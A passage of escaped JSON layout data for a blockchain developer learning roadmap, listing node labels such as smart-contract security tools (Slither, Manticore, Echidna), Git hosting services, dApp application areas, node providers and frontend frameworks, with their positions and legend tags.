\"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -788.6381872719935,\n        \"y\": 981.7007482223489\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YA3-7EZBRW-T-8HuVI7lk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1038.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Slither\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1038.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"twR3UdzUNSztjpwbAUT4F\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1091.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Manticore\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1091.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XIgczUc3yKo6kw-_3gskC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1144.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"MythX\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1144.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"U4H62lVac8wIgxNJ3N3ga\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1197.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Echidna\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -780.6381872719935,\n        \"y\": 1197.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fbESHQGYqxKRi-5DW8TY3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -270.1381872719935,\n        \"y\": 1213.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Management Platforms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bTdRKEiIUmu1pnp8UbJK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -270.1381872719935,\n        \"y\": 1213.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qox-x_q-Q7aWcNFWD7RkT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -529.1381872719935,\n        \"y\": 1213.700748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"OpenZeppelin\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -529.1381872719935,\n        \"y\": 1213.700748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Fs9rcEh_f9fJ2tF-bkAUE\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -273.1381872719934,\n        \"y\": 1330.3427782117978\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Version Control Systems\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bTdRKEiIUmu1pnp8UbJK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -273.1381872719934,\n        \"y\": 1330.3427782117978\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gpS5CckcQZX3TMFQ2jtIL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -174.6381872719934,\n        \"y\": 1408.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Git\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 49,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -174.6381872719934,\n        \"y\": 1408.200748222349\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oSK3MRQD_4j1gGDORN7RO\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -571.1416936157087,\n        \"y\": 1330.1776109676243\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Repo Hosting Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bTdRKEiIUmu1pnp8UbJK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -571.1416936157087,\n        \"y\": 1330.1776109676243\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GOgeaQoRvqg-7mAfL_A8t\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1277.3427782117978\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitHub\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1277.3427782117978\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CWqwv4asouS-dssAwIdxv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1330.3427782117978\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GitLab\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1330.3427782117978\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TMPB62h9LGIA0pMmjfUun\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1383.3427782117978\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bitbucket\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 118,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 118\n      },\n      \"positionAbsolute\": {\n        \"x\": -788.6251538543695,\n        \"y\": 1383.3427782117978\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SXXvFtf_7Rx64cHSEWxMS\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -793.1381872719935,\n        \"y\": 1491.200748222349\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"dApps - Decentralized Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bTdRKEiIUmu1pnp8UbJK9\"\n      },\n      \"zIndex\": 999,\n      \"width\": 377,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 377,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -793.1381872719935,\n        \"y\": 1491.200748222349\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 377,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aATSuiqPG-yctr3ChEBa_\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -789.460009679177,\n        \"y\": 2003.362086171213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Applicability\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -789.460009679177,\n        \"y\": 2003.362086171213\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1AhombZUkZN6Ra5fysSpg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2057.551428731837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Defi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2057.551428731837\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RsoOgixZlyQU6h7nIaY9J\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -678.1023626202203,\n        \"y\": 2057.551428731837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DAOs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -678.1023626202203,\n        \"y\": 2057.551428731837\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e4OHLOfa_AqEShpMQe6Dx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2110.551428731837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NFTs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2110.551428731837\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vTGSDThkDDHvCanNlgP07\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2163.551428731837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Payments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205\n      },\n      \"positionAbsolute\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2163.551428731837\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uMXcKCUoUN8-Hq_IOBRCp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2216.551428731837\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Insurance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205\n      },\n      \"positionAbsolute\": {\n        \"x\": -782.1023626202203,\n        \"y\": 2216.551428731837\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dDPhMNPpl3rZh3EgXy13P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -572.2959035657104,\n        \"y\": 2003.362086171213\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Node as a Service\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -572.2959035657104,\n        \"y\": 2003.362086171213\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lOoubzXNILBk18jGsc-JX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2057.8655925149283\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Alchemy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2057.8655925149283\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hJmNuEMHaMSM0QQlABFRS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2110.8655925149283\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Infura\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2110.8655925149283\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pJhR9OQo8YFQmAZXQbikJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2163.8655925149283\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Moralis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2163.8655925149283\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FGih8w9We52PHpBnnGO6H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2216.8655925149283\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Quicknode\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"AXLqhyhC41ZNhHi3c0959\",\n          \"label\": \"Order in roadmap not strict / Learn anytime\",\n          \"color\": \"#aaaaaa\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 197,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -560.2959035657104,\n        \"y\": 2216.8655925149283\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 197,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NK02dunI3i6C6z7krENCC\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1618.5384414187022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Supporting Languages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -790.0217858882392,\n        \"y\": 1618.5384414187022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 225,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fF06XiQV4CPEJnt_ESOvv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1673.5419477624173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"JavaScript\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1673.5419477624173\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pVG7bGqVGCeSBlZxRNHJs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1726.5419477624173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Python\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -780.0848309016441,\n        \"y\": 1726.5419477624173\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jxlQ1ibcCv6ZlcEvobZ_G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -653.0848309016441,\n        \"y\": 1673.5419477624173\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Go\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick this or Purple\",\n          \"color\": \"#4f7a28\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -653.0848309016441,\n        \"y\": 1673.5419477624173\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YR-U2njkUrEMO0JxCU1PH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -570.2188331774445,\n        \"y\": 1618.5384414187022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Frameworks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -570.2188331774445,\n        \"y\": 1618.5384414187022\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0DUYS40_-BTpk2rLQ1a0e\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -553.653550624667,\n        \"y\": 1673.5279223875564\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"React\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-Jv8rJA7YNu0OUo2vxgiJ\",\n          \"color\": \"#0433ff\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 92,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -553.653550624667,\n        \"y\": 1673.5279223875564\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 92,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UY_vAsixTyocvo8zvAF4b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -553.653550624667,\n        \"y\": 1725.9907597579706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Angular\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"-eqdNspTn3nDOQ6qbwXqu\",\n          \"label\": \"Alternative Option / Pick 